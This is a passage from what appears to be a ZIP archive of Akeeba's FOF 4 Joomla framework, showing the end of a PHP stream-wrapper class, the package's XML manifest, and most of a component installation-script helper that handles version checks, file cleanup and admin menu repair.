($offset < strlen(static::$buffers[$this->name]) && $offset >= 0) { $this->position = $offset; return true; } else { return false; } break; case SEEK_CUR: if ($offset >= 0) { $this->position += $offset; return true; } else { return false; } break; case SEEK_END: if (strlen(static::$buffers[$this->name]) + $offset >= 0) { $this->position = strlen(static::$buffers[$this->name]) + $offset; return true; } else { return false; } break; default: return false; } } } if (Buffer::canRegisterWrapper()) { stream_wrapper_register('fof', 'FOF40\\Utils\\Buffer'); } PK���\���Qfof40/file_fof40.xmlnu&1i�<?xml version="1.0" encoding="UTF-8"?> <!--~ ~ @package FOF ~ @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd ~ @license GNU General Public License version 3, or later --> <!-- A legitimate question among developers reading this file may be why we are using a "files" extension type instead of the "library" type which, on the face of it, seems more appropriate. We have not lost our mind. We are working around the adverse effects of the very different way Joomla treats "library" packages than any other package type. When applying an update to a library package Joomla! will uninstall it BEFORE it executes the installation script's preflight event. This means that any checks made there to prevent the installation of the library in an incompatible environment (e.g. wrong PHP or Joomla! version, or even preventing an accidental downgrade) results in the library files being UNINSTALLED. This is really bad for anyone who tries to install a library package on an unsupported environment. If the library package runs no checks the installed library version causes the extensions that depend on it to crash, taking down the site. If the library package runs checks in the earliest available point in time (preflight) you end up with the old library files having been uninstalled which again causes the extensions that depend on it to crash, taking down the site. No matter what you do, the very action of TRYING to install an unsupported library version KILLS THE SITE. This is madness. Worse than that, this is a known issue in Joomla since ~2017 but nobody will fix it until a new major version. Since this doesn't look likely in Joomla 4.0 we are talking about Joomla 5 which could be anywhere from two to ten years into the future. Clearly this doesn't cut it for us: we don't want trying to install our software causing sites to stop working! The only thing we can do to prevent your sites from crashing to the ground if you try to install a version of our software which does not support your PHP and/or Joomla! versions is to deliver our library as a *files* package. This is nonsensical, it is 100% architecturally wrong BUT it is also the only way we can apply pre-installation checks which fail gracefully instead of causing your site to crash and burn. --> <extension type="file" version="3.9" method="upgrade"> <name>file_fof40</name> <description> <![CDATA[ Framework-on-Framework (FOF) 4.x - The rapid application development framework for Joomla!.<br/> <b>WARNING</b>: This is NOT a duplicate of the FOF library already installed with Joomla! 3. It is a different version used by other extensions on your site. Do NOT uninstall either FOF package. If you do you will break your site. ]]> </description> <creationDate>2022-01-04</creationDate> <author>Nicholas K. Dionysopoulos / Akeeba Ltd</author> <authorEmail>nicholas@akeeba.com</authorEmail> <authorUrl>https://www.akeeba.com</authorUrl> <copyright>Copyright (c)2010-2019 Nicholas K. Dionysopoulos / Akeeba Ltd</copyright> <license>GNU GPL v3 or later</license> <version>4.1.0</version> <packager>Akeeba Ltd</packager> <packagerurl>https://www.akeeba.com/download.html</packagerurl> <fileset> <files folder="fof" target="libraries/fof40"> <folder>Database</folder> <folder>Configuration</folder> <folder>Update</folder> <folder>InstallScript</folder> <folder>Input</folder> <folder>Layout</folder> <folder>Platform</folder> <folder>Date</folder> <folder>Timer</folder> <folder>Dispatcher</folder> <folder>ViewTemplates</folder> <folder>Toolbar</folder> <folder>Template</folder> <folder>Inflector</folder> <folder>Render</folder> <folder>Utils</folder> <folder>Html</folder> <folder>language</folder> <folder>Cli</folder> <folder>Controller</folder> <folder>Container</folder> <folder>Pimple</folder> <folder>Download</folder> <folder>Params</folder> <folder>Model</folder> <folder>View</folder> <folder>JoomlaAbstraction</folder> <folder>TransparentAuthentication</folder> <folder>IP</folder> <folder>Encrypt</folder> <folder>Event</folder> <folder>Factory</folder> <folder>Autoloader</folder> <file>LICENSE.txt</file> <file>include.php</file> <file>version.txt</file> <file>.htaccess</file> <file>web.config</file> </files> <files folder="fof/language/en-GB" target="language/en-GB"> <file>en-GB.lib_fof40.ini</file> </files> <files folder="fof/language/en-GB" target="administrator/language/en-GB"> <file>en-GB.lib_fof40.ini</file> </files> </fileset> <!-- Installation / uninstallation script file --> <scriptfile>script.fof.php</scriptfile> <updateservers> <server type="extension" priority="1" name="FOF 4.x">http://cdn.akeeba.com/updates/fof4_file.xml</server> </updateservers> </extension>PK���\,���v�v�!fof40/InstallScript/Component.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\InstallScript; defined('_JEXEC') || die; use Exception; use FOF40\Container\Container; use FOF40\Database\Installer as DatabaseInstaller; use FOF40\Utils\ViewManifestMigration; use JDatabaseDriver; use Joomla\CMS\Factory as JoomlaFactory; use Joomla\CMS\Filesystem\File; use Joomla\CMS\Filesystem\Folder; use Joomla\CMS\Installer\Adapter\ComponentAdapter; use Joomla\CMS\Installer\Installer as JoomlaInstaller; use Joomla\CMS\Log\Log; use Joomla\CMS\Table\Menu; use Joomla\Database\DatabaseDriver; // In case FOF's autoloader is not present yet, e.g. new installation if (!class_exists('FOF40\\InstallScript\\BaseInstaller', true)) { require_once __DIR__ . '/BaseInstaller.php'; } /** * A helper class which you can use to create component installation scripts. * * Example usage: class Com_ExampleInstallerScript extends FOF40\Utils\InstallScript\Component * * This namespace contains more classes for creating installation scripts for other kinds of Joomla! extensions as well. * Do keep in mind that only components, modules and plugins could have post-installation scripts before Joomla! 3.3. */ class Component extends BaseInstaller { /** * The component's name. Auto-filled from the class name. * * @var string */ public $componentName = ''; /** * The title of the component (printed on installation and uninstallation messages) * * @var string */ protected $componentTitle = 'Foobar Component'; /** * The list of obsolete extra modules and plugins to uninstall on component upgrade / installation. * * @var array */ protected $uninstallation_queue = [ // modules => { (folder) => { (module) }* }* 'modules' => [ 'admin' => [], 'site' => [], ], // plugins => { (folder) => { (element) }* }* 'plugins' => [ 'system' => [], ], ]; /** * Obsolete files and folders to remove from the free version only. This is used when you move a feature from the * free version of your extension to its paid version. If you don't have such a distinction you can ignore this. * * @var array */ protected $removeFilesFree = [ 'files' => [ // Use pathnames relative to your site's root, e.g. // 'administrator/components/com_foobar/helpers/whatever.php' ], 'folders' => [ // Use pathnames relative to your site's root, e.g. // 'administrator/components/com_foobar/baz' ], ]; /** * Obsolete files and folders to remove from both paid and free releases. This is used when you refactor code and * some files inevitably become obsolete and need to be removed. * * @var array */ protected $removeFilesAllVersions = [ 'files' => [ // Use pathnames relative to your site's root, e.g. // 'administrator/components/com_foobar/helpers/whatever.php' ], 'folders' => [ // Use pathnames relative to your site's root, e.g. // 'administrator/components/com_foobar/baz' ], ]; /** * A list of scripts to be copied to the "cli" directory of the site * * @var array */ protected $cliScriptFiles = [ // Use just the filename, e.g. // 'my-cron-script.php' ]; /** * The path inside your package where cli scripts are stored * * @var string */ protected $cliSourcePath = 'cli'; /** * Is the schemaXmlPath class variable a relative path? If set to true the schemaXmlPath variable contains a path * relative to the component's back-end directory. If set to false the schemaXmlPath variable contains an absolute * filesystem path. * * @var boolean */ protected $schemaXmlPathRelative = true; /** * The path where the schema XML files are stored. Its contents depend on the schemaXmlPathRelative variable above * true => schemaXmlPath contains a path relative to the component's back-end directory * false => schemaXmlPath contains an absolute filesystem path * * @var string */ protected $schemaXmlPath = 'sql/xml'; /** * Is this the paid version of the extension? This only determines which files / extensions will be removed. * * @var boolean */ protected $isPaid = false; /** * Should I copy XML manifests from the tmpl and ViewTemplates folders into the views folder on Joomla 3? * * This copies `tmpl/<VIEWNAME>/*.xml` and `ViewTemplates/<VIEWNAME>/*.xml` to `views/<VIEWNAME>/tmpl/*.xml` on * Joomla 3. * * @var bool */ protected $migrateJoomla4MenuXMLFiles = true; /** * Should I remove the legacy `views` folder on Joomla 4? * * This removes both the front- and backend `views` folder. Recommended when `$migrateJoomla4MenuXMLFiles` is also * true. * * @var bool */ protected $removeLegacyViewsFolder = true; /** * The path to the component's backend directory. * * Leave null to assume JPATH_ADMINISTRATOR . '/components/' . $this->componentName * * @var string|null * @since 4.0.1 */ protected $backendPath = null; /** * The path to the component's frontend directory. * * Leave null to assume JPATH_SITE . '/components/' . $this->componentName * * @var string|null * @since 4.0.1 */ protected $frontendPath = null; /** * Module installer script constructor. */ public function __construct() { // Get the plugin name and folder from the class name (it's always plgFolderPluginInstallerScript) if necessary. if (empty($this->componentName)) { $class = get_class($this); $words = preg_replace('/(\s)+/', '_', $class); $words = strtolower(preg_replace('/(?<=\\w)([A-Z])/', '_\\1', $words)); $classParts = explode('_', $words); $this->componentName = 'com_' . $classParts[2]; } } /** * Joomla! pre-flight event. This runs before Joomla! installs or updates the component. This is our last chance to * tell Joomla! if it should abort the installation. * * @param string $type Installation type (install, update, discover_install) * @param ComponentAdapter $parent Parent object * * @return boolean True to let the installation proceed, false to halt the installation * * @noinspection PhpUnusedParameterInspection */ public function preflight(string $type, ComponentAdapter $parent): bool { // Do not run on uninstall. if ($type === 'uninstall') { return true; } // Check the minimum PHP version if (!$this->checkPHPVersion()) { return false; } // Check the minimum Joomla! version if (!$this->checkJoomlaVersion()) { return false; } // Clear op-code caches to prevent any cached code issues $this->clearOpcodeCaches(); // Workarounds for JoomlaInstaller issues. if (in_array($type, ['install', 'discover_install'])) { // Bugfix for "Database function returned no error" $this->bugfixDBFunctionReturnedNoError(); } else { // Bugfix for "Can not build admin menus" $this->bugfixCantBuildAdminMenus(); } return true; } /** * Runs after install, update or discover_update. In other words, it executes after Joomla! has finished installing * or updating your component. This is the last chance you've got to perform any additional installations, clean-up, * database updates and similar housekeeping functions. * * @param string $type install, update or discover_update * @param ComponentAdapter $parent Parent object * * @return void * @throws Exception * */ public function postflight(string $type, ComponentAdapter $parent): void { // Do not run on uninstall. if ($type === 'uninstall') { return; } // Add ourselves to the list of extensions depending on FOF40 $this->addDependency('fof40', $this->componentName); $this->removeDependency('fof30', $this->componentName); // Install or update database $dbInstaller = new DatabaseInstaller(JoomlaFactory::getDbo(), ($this->schemaXmlPathRelative ? JPATH_ADMINISTRATOR . '/components/' . $this->componentName : '') . '/' . $this->schemaXmlPath ); $dbInstaller->updateSchema(); // These workarounds are only needed, and only work, on Joomla! 3.x if (strpos(JVERSION, '3.') === 0) { // Make sure menu items are installed $this->_createAdminMenus($parent); // Make sure menu items are published $this->_reallyPublishAdminMenuItems($parent); } // Which files should I remove? if ($this->isPaid) { // This is the paid version, only remove the removeFilesAllVersions files $removeFiles = $this->removeFilesAllVersions; } else { // This is the free version, remove the removeFilesAllVersions and removeFilesFree files $removeFiles = ['files' => [], 'folders' => []]; if (isset($this->removeFilesAllVersions['files'])) { if (isset($this->removeFilesFree['files'])) { $removeFiles['files'] = array_merge($this->removeFilesAllVersions['files'], $this->removeFilesFree['files']); } else { $removeFiles['files'] = $this->removeFilesAllVersions['files']; } } elseif (isset($this->removeFilesFree['files'])) { $removeFiles['files'] = $this->removeFilesFree['files']; } if (isset($this->removeFilesAllVersions['folders'])) { if (isset($this->removeFilesFree['folders'])) { $removeFiles['folders'] = array_merge($this->removeFilesAllVersions['folders'], $this->removeFilesFree['folders']); } else { $removeFiles['folders'] = $this->removeFilesAllVersions['folders']; } } elseif (isset($this->removeFilesFree['folders'])) { $removeFiles['folders'] = $this->removeFilesFree['folders']; } } // Remove obsolete files and folders $this->removeFilesAndFolders($removeFiles); // Make sure everything is copied properly $this->bugfixFilesNotCopiedOnUpdate($parent); // Copy the CLI files (if any) $this->copyCliFiles($parent); // Show the post-installation page $this->renderPostInstallation($parent); // Uninstall obsolete subextensions $this->uninstallObsoleteSubextensions($parent); // Clear the FOF cache $false = false; $cache = JoomlaFactory::getCache('fof', ''); $cache->store($false, 'cache', 'fof'); // Make sure the Joomla! menu structure is correct $this->_rebuildMenu(); // Add post-installation messages on Joomla! 3.2 and later $this->_applyPostInstallationMessages(); // Clear the opcode caches again - in case someone accessed the extension while the files were being upgraded. $this->clearOpcodeCaches(); /** * DO NOT USE THE CONTAINER TO GET THE PATHS. * * There are two cases when updating from a FOF 3 version of a component may cause the container to fail to * load: * * 1. If the component failed to update fully (because Joomla does that) * 2. You are using opcache but it failed to clear, e.g. the host disabled the function to do so. * * Using the hardcoded paths is much safer in this context. * * Also note that this code carries two further defenses in cases we start using the container again in the * future: * * 1. It is moved AFTER the call to bugfixFilesNotCopiedOnUpdate() to solve the problem of Joomla failing the * update. * 2. It is moved AFTER the calll to clearOpcodeCaches() to deal with the opcache not being cleared. * * However, neither solution is bulletproof. As a result it makes far more sense to NOT use the container if we * can help it... */ $frontendPath = $this->frontendPath ?? (JPATH_SITE . '/components/' . $this->componentName); $backendPath = $this->backendPath ?? (JPATH_ADMINISTRATOR . '/components/' . $this->componentName); // Migrate view manifest XML files if ($this->migrateJoomla4MenuXMLFiles) { ViewManifestMigration::migrateJoomla4MenuXMLFiles_real($frontendPath, $backendPath); } // Remove the legacy Joomla 3 `views` folder if ($this->removeLegacyViewsFolder) { ViewManifestMigration::removeJoomla3LegacyViews_real($frontendPath, $backendPath); } // Finally, see if FOF 3.x is obsolete and remove it. // $this->uninstallFOF3IfNecessary(); } /** * Runs on uninstallation * * @param ComponentAdapter $parent The parent object */ public function uninstall(ComponentAdapter $parent): void { // Uninstall database $dbInstaller = new DatabaseInstaller(JoomlaFactory::getDbo(), ($this->schemaXmlPathRelative ? JPATH_ADMINISTRATOR . '/components/' . $this->componentName : '') . '/' . $this->schemaXmlPath ); $dbInstaller->removeSchema(); // Uninstall post-installation messages on Joomla! 3.2 and later $this->uninstallPostInstallationMessages(); // Remove ourselves from the list of extensions depending of FOF 4 $this->removeDependency('fof40', $this->componentName); // Uninstall FOF 4 if nothing else depends on it $this->uninstallFOF4IfNecessary(); // Show the post-uninstallation page $this->renderPostUninstallation($parent); } /** * Copies the CLI scripts into Joomla!'s cli directory * * @param ComponentAdapter $parent */ protected function copyCliFiles(ComponentAdapter $parent): void { $src = $parent->getParent()->getPath('source'); foreach ($this->cliScriptFiles as $script) { if (is_file(JPATH_ROOT . '/cli/' . $script)) { File::delete(JPATH_ROOT . '/cli/' . $script); } if (is_file($src . '/' . $this->cliSourcePath . '/' . $script)) { File::copy($src . '/' . $this->cliSourcePath . '/' . $script, JPATH_ROOT . '/cli/' . $script); } } } /** * Fix for Joomla bug: sometimes files are not copied on update. * * We have observed that ever since Joomla! 1.5.5, when Joomla! is performing an extension update some files / * folders are not copied properly. This seems to be a bit random and seems to be more likely to happen the more * added / modified files and folders you have. We are trying to work around it by retrying the copy operation * ourselves WITHOUT going through the manifest, based entirely on the conventions we follow for Akeeba Ltd's * extensions. * * @param ComponentAdapter $parent */ protected function bugfixFilesNotCopiedOnUpdate(ComponentAdapter $parent): void { Log::add("Joomla! extension update workaround for component $this->componentName", Log::INFO, 'fof4_extension_installation'); $temporarySource = $parent->getParent()->getPath('source'); $copyMap = [ // Backend component files 'backend' => JPATH_ADMINISTRATOR . '/components/' . $this->componentName, 'admin' => JPATH_ADMINISTRATOR . '/components/' . $this->componentName, // Frontend component files 'frontend' => JPATH_SITE . '/components/' . $this->componentName, 'site' => JPATH_SITE . '/components/' . $this->componentName, // Backend language 'language/backend' => JPATH_ADMINISTRATOR . '/language', 'language/admin' => JPATH_ADMINISTRATOR . '/language', // Frontend language 'language/frontend' => JPATH_SITE . '/language', 'language/site' => JPATH_SITE . '/language', // Media files 'media' => JPATH_ROOT . '/media/' . $this->componentName, ]; foreach ($copyMap as $partialSource => $target) { $source = $temporarySource . '/' . $partialSource; Log::add(__CLASS__ . ":: Conditional copy $source to $target", Log::DEBUG, 'fof4_extension_installation'); $this->recursiveConditionalCopy($source, $target); } } /** * Override this method to display a custom component installation message if you so wish * * @param ComponentAdapter $parent Parent class calling us * * @noinspection PhpUnusedParameterInspection */ protected function renderPostInstallation(ComponentAdapter $parent): void { echo "<h3>$this->componentName has been installed</h3>"; } /** * Override this method to display a custom component uninstallation message if you so wish * * @param ComponentAdapter $parent Parent class calling us * * @noinspection PhpUnusedParameterInspection */ protected function renderPostUninstallation(ComponentAdapter $parent): void { echo "<h3>$this->componentName has been uninstalled</h3>"; } /** * Bugfix for "DB function returned no error" */ protected function bugfixDBFunctionReturnedNoError(): void { $db = JoomlaFactory::getDbo(); try { // Fix broken #__assets records $this->deleteComponentAssetRecords($db); // Fix broken #__extensions records $this->deleteComponentExtensionRecord($db); /** * Fix broken #__menu records * * Only run on Joomla! versions lower than 3.7. Joomla! 3.7 introduced a backend menu manager which * lets the user create missing menu items. Moreover, it lets them create custom links to the component * which means that our menu deleting code would break them! So we don't run this code in newer Joomla! * versions any more. */ $this->deleteComponentMenuRecord($db); } catch (Exception $exc) { return; } } /** * Joomla! 1.6+ bugfix for "Can not build admin menus" */ protected function bugfixCantBuildAdminMenus(): void { $db = JoomlaFactory::getDbo(); // If there are multiple #__extensions record, keep one of them $query = $db->getQuery(true); $query->select('extension_id') ->from('#__extensions') ->where($db->qn('type') . ' = ' . $db->q('component')) ->where($db->qn('element') . ' = ' . $db->q($this->componentName)); $db->setQuery($query); try { $ids = $db->loadColumn(); } catch (Exception $exc) { return; } if ((is_array($ids) || $ids instanceof \Countable ? count($ids) : 0) > 1) { asort($ids); $extension_id = array_shift($ids); // Keep the oldest id foreach ($ids as $id) { $query = $db->getQuery(true); $query->delete('#__extensions') ->where($db->qn('extension_id') . ' = ' . $db->q($id)); $db->setQuery($query); try { $db->execute(); } catch (Exception $exc) { // Nothing } } } // If there are multiple assets records, delete all except the oldest one $query = $db->getQuery(true); $query->select('id') ->from('#__assets') ->where($db->qn('name') . ' = ' . $db->q($this->componentName)); $db->setQuery($query); $ids = $db->loadObjectList(); if ((is_array($ids) || $ids instanceof \Countable ? count($ids) : 0) > 1) { asort($ids); $asset_id = array_shift($ids); // Keep the oldest id foreach ($ids as $id) { $query = $db->getQuery(true); $query->delete('#__assets') ->where($db->qn('id') . ' = ' . $db->q($id)); $db->setQuery($query); try { $db->execute(); } catch (Exception $exc) { // Nothing } } } // Remove #__menu records for good measure! –– I think this is not necessary and causes the menu item to // disappear on extension update. /** * $query = $db->getQuery(true); * $query->select('id') * ->from('#__menu') * ->where($db->qn('type') . ' = ' . $db->q('component')) * ->where($db->qn('menutype') . ' = ' . $db->q('main')) * ->where($db->qn('link') . ' LIKE ' . $db->q('index.php?option=' . $this->componentName)); * $db->setQuery($query); * * try * { * $ids1 = $db->loadColumn(); * } * catch (Exception $exc) * { * $ids1 = array(); * } * * if (empty($ids1)) * { * $ids1 = array(); * } * * $query = $db->getQuery(true); * $query->select('id') * ->from('#__menu') * ->where($db->qn('type') . ' = ' . $db->q('component')) * ->where($db->qn('menutype') . ' = ' . $db->q('main')) * ->where($db->qn('link') . ' LIKE ' . $db->q('index.php?option=' . $this->componentName . '&%')); * $db->setQuery($query); * * try * { * $ids2 = $db->loadColumn(); * } * catch (Exception $exc) * { * $ids2 = array(); * } * * if (empty($ids2)) * { * $ids2 = array(); * } * * $ids = array_merge($ids1, $ids2); * * if (!empty($ids)) * { * foreach ($ids as $id) * { * $query = $db->getQuery(true); * $query->delete('#__menu') * ->where($db->qn('id') . ' = ' . $db->q($id)); * $db->setQuery($query); * * try * { * $db->execute(); * } * catch (Exception $exc) * { * // Nothing * } * } * } * /**/ } /** * Removes obsolete files and folders * * @param array $removeList The files and directories to remove */ protected function removeFilesAndFolders(array $removeList): void { // Remove files if (isset($removeList['files']) && !empty($removeList['files'])) { foreach ($removeList['files'] as $file) { $f = JPATH_ROOT . '/' . $file; if (!is_file($f)) { continue; } File::delete($f); } } // Remove folders if (!isset($removeList['folders'])) { return; } if (empty($removeList['folders'])) { return; } foreach ($removeList['folders'] as $folder) { $f = JPATH_ROOT . '/' . $folder; if (!@file_exists($f) || !is_dir($f) || is_link($f)) { continue; } Folder::delete($f); } } /** * Uninstalls obsolete subextensions (modules, plugins) bundled with the main extension * * @param ComponentAdapter $parent The parent object * * @return \stdClass The sub-extension uninstallation status * @noinspection PhpUnusedParameterInspection */ protected function uninstallObsoleteSubextensions(ComponentAdapter $parent) { $db = JoomlaFactory::getDBO(); $status = new \stdClass(); $status->modules = []; $status->plugins = []; // Modules uninstallation if (isset($this->uninstallation_queue['modules']) && count($this->uninstallation_queue['modules'])) { foreach ($this->uninstallation_queue['modules'] as $folder => $modules) { if ((is_array($modules) || $modules instanceof \Countable ? count($modules) : 0) > 0) { foreach ($modules as $module) { // Find the module ID $sql = $db->getQuery(true) ->select($db->qn('extension_id')) ->from($db->qn('#__extensions')) ->where($db->qn('element') . ' = ' . $db->q('mod_' . $module)) ->where($db->qn('type') . ' = ' . $db->q('module')); $db->setQuery($sql); $id = $db->loadResult(); // Uninstall the module if ($id) { $installer = new JoomlaInstaller; $result = $installer->uninstall('module', $id, 1); $status->modules[] = [ 'name' => 'mod_' . $module, 'client' => $folder, 'result' => $result, ]; } } } } } // Plugins uninstallation if (isset($this->uninstallation_queue['plugins']) && count($this->uninstallation_queue['plugins'])) { foreach ($this->uninstallation_queue['plugins'] as $folder => $plugins) { if ((is_array($plugins) || $plugins instanceof \Countable ? count($plugins) : 0) > 0) { foreach ($plugins as $plugin) { $sql = $db->getQuery(true) ->select($db->qn('extension_id')) ->from($db->qn('#__extensions')) ->where($db->qn('type') . ' = ' . $db->q('plugin')) ->where($db->qn('element') . ' = ' . $db->q($plugin)) ->where($db->qn('folder') . ' = ' . $db->q($folder)); $db->setQuery($sql); $id = $db->loadResult(); if ($id) { $installer = new JoomlaInstaller; $result = $installer->uninstall('plugin', $id, 1); $status->plugins[] = [ 'name' => 'plg_' . $plugin, 'group' => $folder, 'result' => $result, ]; } } } } } return $status; } /** * @param ComponentAdapter $parent * * @return bool * * @throws Exception When the Joomla! menu is FUBAR */ private function _createAdminMenus(ComponentAdapter $parent): bool { $db = $parent->getParent()->getDbo(); /** @var Menu $table */ $table = new Menu(JoomlaFactory::getDbo()); $option = $parent->get('element'); // If a component exists with this option in the table then we don't need to add menus $query = $db->getQuery(true) ->select('COUNT(*)') ->from($db->qn('#__menu') . ' AS ' . $db->qn('m')) ->leftJoin($db->qn('#__extensions', 'e') . ' ON ' . $db->qn('m.component_id') . ' = ' . $db->qn('e.extension_id')) ->where($db->qn('m.parent_id') . ' = ' . $db->q(1)) ->where($db->qn('m.client_id') . ' = ' . $db->q(1)) ->where($db->qn('e.type') . ' = ' . $db->q('component')) ->where($db->qn('e.element') . ' = ' . $db->q($option)); $db->setQuery($query); $existingMenus = $db->loadResult(); if ($existingMenus) { return true; } // Let's find the extension id $query->clear() ->select($db->qn('e.extension_id')) ->from($db->qn('#__extensions', 'e')) ->where($db->qn('e.type') . ' = ' . $db->q('component')) ->where($db->qn('e.element') . ' = ' . $db->q($option)); $db->setQuery($query); $componentId = $db->loadResult(); // Ok, now its time to handle the menus. Start with the component root menu, then handle submenus. if (method_exists($parent, 'getManifest')) { $menuElement = $parent->getManifest()->administration->menu; } else { $menuElement = $parent->get('manifest')->administration->menu; } // We need to insert the menu item as the last child of Joomla!'s menu root node. First let's make sure that // it exists. Normally it should be the menu item with ID = 1. $query = $db->getQuery(true) ->select($db->qn('id')) ->from($db->qn('#__menu')) ->where($db->qn('id') . ' = ' . $db->q(1)); $rootItemId = $db->setQuery($query)->loadResult(); // If we didn't find the item with ID=1 something has screwed up the menu table, e.g. a bad upgrade script. In // this case we can try to find the root node by title. if (is_null($rootItemId)) { $rootItemId = null; $query = $db->getQuery(true) ->select($db->qn('id')) ->from($db->qn('#__menu')) ->where($db->qn('title') . ' = ' . $db->q('Menu_Item_Root')); $rootItemId = $db->setQuery($query, 0, 1)->loadResult(); } // So, someone changed the title of the menu item too?! Let's find it by alias. if (is_null($rootItemId)) { $rootItemId = null; $query = $db->getQuery(true) ->select($db->qn('id')) ->from($db->qn('#__menu')) ->where($db->qn('alias') . ' = ' . $db->q('root')); $rootItemId = $db->setQuery($query, 0, 1)->loadResult(); } // For crying out loud, they changed the alias too? Fine! Find it by component ID. if (is_null($rootItemId)) { $rootItemId = null; $query = $db->getQuery(true) ->select($db->qn('id')) ->from($db->qn('#__menu')) ->where($db->qn('component_id') . ' = ' . $db->q('0')); $rootItemId = $db->setQuery($query, 0, 1)->loadResult(); } // Um, OK. Still no go. Let's try with minimum lft value. if (is_null($rootItemId)) { $rootItemId = null; $query = $db->getQuery(true) ->select($db->qn('id')) ->from($db->qn('#__menu')) ->order($db->qn('lft') . ' ASC'); $rootItemId = $db->setQuery($query, 0, 1)->loadResult(); } // I quit. Your site's menu structure is broken. I'll just throw an error. if (is_null($rootItemId)) { throw new Exception("Your site is broken. There is no root menu item. As a result it is impossible to create menu items. The installation of this component has failed. Please fix your database and retry!", 500); } /** @var \SimpleXMLElement $menuElement */ if ($menuElement) { $data = []; $data['menutype'] = 'main'; $data['client_id'] = 1; $data['title'] = (string) trim($menuElement); $data['alias'] = (string) $menuElement; $data['link'] = 'index.php?option=' . $option; $data['type'] = 'component'; $data['published'] = 0; $data['parent_id'] = 1; $data['component_id'] = $componentId; $data['img'] = ((string) $menuElement->attributes()->img !== '') ? (string) $menuElement->attributes()->img : 'class:component'; $data['home'] = 0; $data['path'] = ''; $data['params'] = ''; } // No menu element was specified, Let's make a generic menu item else { $data = []; $data['menutype'] = 'main'; $data['client_id'] = 1; $data['title'] = $option; $data['alias'] = $option; $data['link'] = 'index.php?option=' . $option; $data['type'] = 'component'; $data['published'] = 0; $data['parent_id'] = 1; $data['component_id'] = $componentId; $data['img'] = 'class:component'; $data['home'] = 0; $data['path'] = ''; $data['params'] = ''; } try { $table->setLocation($rootItemId, 'last-child'); } catch (\InvalidArgumentException $e) { $this->log($e->getMessage()); return false; } if (!$table->bind($data) || !$table->check() || !$table->store()) { // The menu item already exists. Delete it and retry instead of throwing an error. $query->clear() ->select('id') ->from('#__menu') ->where('menutype = ' . $db->quote('main')) ->where('client_id = 1') ->where('link = ' . $db->quote('index.php?option=' . $option)) ->where('type = ' . $db->quote('component')) ->where('parent_id = 1') ->where('home = 0'); $db->setQuery($query); $menu_ids_level1 = $db->loadColumn(); if (empty($menu_ids_level1)) { JoomlaFactory::getApplication()->enqueueMessage($table->getError(), 'warning'); return false; } else { $ids = implode(',', $menu_ids_level1); $query->clear() ->select('id') ->from('#__menu') ->where('menutype = ' . $db->quote('main')) ->where('client_id = 1') ->where('type = ' . $db->quote('component')) ->where('parent_id in (' . $ids . ')') ->where('level = 2') ->where('home = 0'); $db->setQuery($query); $menu_ids_level2 = $db->loadColumn(); $ids = implode(',', array_merge($menu_ids_level1, $menu_ids_level2)); // Remove the old menu item $query->clear() ->delete('#__menu') ->where('id in (' . $ids . ')'); $db->setQuery($query); $db->execute(); // Retry creating the menu item $table->setLocation($rootItemId, 'last-child'); if (!$table->bind($data) || !$table->check() || !$table->store()) { // Install failed, warn user and rollback changes JoomlaFactory::getApplication()->enqueueMessage($table->getError(), 'warning'); return false; } } } /* * Since we have created a menu item, we add it to the installation step stack * so that if we have to rollback the changes we can undo it. */ $parent->getParent()->pushStep(['type' => 'menu', 'id' => $componentId]); /* * Process SubMenus */ if (method_exists($parent, 'getManifest')) { $submenu = $parent->getManifest()->administration->submenu; } else { $submenu = $parent->get('manifest')->administration->submenu; } if (!$submenu) { return true; } $parent_id = $table->id; /** @var \SimpleXMLElement $child */ foreach ($submenu->menu as $child) { $data = []; $data['menutype'] = 'main'; $data['client_id'] = 1; $data['title'] = (string) trim($child); $data['alias'] = (string) $child; $data['type'] = 'component'; $data['published'] = 0; $data['parent_id'] = $parent_id; $data['component_id'] = $componentId; $data['img'] = ((string) $child->attributes()->img !== '') ? (string) $child->attributes()->img : 'class:component'; $data['home'] = 0; // Set the sub menu link if ((string) $child->attributes()->link !== '') { $data['link'] = 'index.php?' . $child->attributes()->link; } else { $request = []; if ((string) $child->attributes()->act !== '') { $request[] = 'act=' . $child->attributes()->act; } if ((string) $child->attributes()->task !== '') { $request[] = 'task=' . $child->attributes()->task; } if ((string) $child->attributes()->controller !== '') { $request[] = 'controller=' . $child->attributes()->controller; } if ((string) $child->attributes()->view !== '') { $request[] = 'view=' . $child->attributes()->view; } if ((string) $child->attributes()->layout !== '') { $request[] = 'layout=' . $child->attributes()->layout; } if ((string) $child->attributes()->sub !== '') { $request[] = 'sub=' . $child->attributes()->sub; } $qstring = ((is_array($request) || $request instanceof \Countable ? count($request) : 0) > 0) ? '&' . implode('&', $request) : ''; $data['link'] = 'index.php?option=' . $option . $qstring; } $table = new Menu(JoomlaFactory::getDbo()); try { $table->setLocation($parent_id, 'last-child'); } catch (\InvalidArgumentException $e) { return false; } if (!$table->bind($data) || !$table->check() || !$table->store()) { // Install failed, rollback changes return false; } /* * Since we have created a menu item, we add it to the installation step stack * so that if we have to rollback the changes we can undo it. */ $parent->getParent()->pushStep(['type' => 'menu', 'id' => $componentId]); } return true; } /** * Make sure the Component menu items are really published! * * @param ComponentAdapter $parent */ private function _reallyPublishAdminMenuItems(ComponentAdapter $parent): void { $db = $parent->getParent()->getDbo(); $option = $parent->get('element'); $query = $db->getQuery(true) ->update('#__menu AS m') ->join('LEFT', '#__extensions AS e ON m.component_id = e.extension_id') ->set($db->qn('published') . ' = ' . $db->q(1)) ->where('m.parent_id = 1') ->where('m.client_id = 1') ->where('e.type = ' . $db->quote('component')) ->where('e.element = ' . $db->quote($option)); try { $db->setQuery($query)->execute(); } catch (Exception $e) { // If it fails, it fails. Who cares. } } /** * Tells Joomla! to rebuild its menu structure to make triple-sure that the Components menu items really do exist * in the correct place and can really be rendered. */ private function _rebuildMenu(): void { $table = new Menu(JoomlaFactory::getDbo()); $db = $table->getDbo(); // We need to rebuild the menu based on its root item. By default this is the menu item with ID=1. However, some // crappy upgrade scripts enjoy screwing it up. Hey, ho, the workaround way I go. $query = $db->getQuery(true) ->select($db->qn('id')) ->from($db->qn('#__menu')) ->where($db->qn('id') . ' = ' . $db->q(1)); $rootItemId = $db->setQuery($query)->loadResult(); if (is_null($rootItemId)) { // Guess what? The Problem has happened. Let's find the root node by title. $rootItemId = null; $query = $db->getQuery(true) ->select($db->qn('id')) 